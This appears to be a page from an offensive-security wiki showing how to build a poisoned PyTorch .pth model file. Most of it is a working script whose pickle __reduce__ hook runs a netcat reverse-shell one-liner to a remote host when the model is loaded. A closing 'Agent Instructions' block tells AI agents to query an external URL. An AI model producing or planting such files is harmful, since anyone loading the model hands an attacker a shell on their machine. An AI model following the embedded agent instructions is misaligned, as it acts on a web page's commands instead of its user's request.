# Pytorch Models/PTH Files Code Execution

## Theory

A file with a `.pth` extension typically contains a serialized PyTorch state dictionary. A PyTorch state dictionary is a Python dictionary that contains the state of a PyTorch model, including the model's weights, biases, and other parameters.

We can craft a malicious .pth file that will execute arbitrary code when model is loaded/trained/evaluated in the target system.

## Practice

{% tabs %}
{% tab title="Model Serialization Attack" %}

#### 1 - Install Dependencies

It requires `torch` so install it:

```bash
# Create a virtual environment to avoid pulluting the host environment.
python3 -m venv myvenv
pip3 install torch
```

#### 2 - Create Python Script To Generate Malicious Model

Now create a Python script that generates our malicious ML model. This model executes OS command when it is evaluated.

```python
# generate_model.py
import torch
import torch.nn as nn
import os

class EvilModel(nn.Module):
	def __init__(self):
		super(EvilModel, self).__init__()
		self.dense = nn.Linear(10, 50)
	
	def forward(self, evil):
		return self.dense(evil)
	
	def __reduce__(self):
		# Inject OS command.
		cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
		return os.system, (cmd,)

# Save the model
evil_model = EvilModel()
torch.save(evil_model, 'evil.pth')
```

#### 3 - Run Python Script

Now execute this Python script as below:

```bash
python3 generate_model.py
```

After that, our model named `evil.pth` will be generated.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://exploit-notes.hdks.org/exploit/machine-learning/model/create-malicious-ml-model/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/python/pytorch-models-pth-files-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.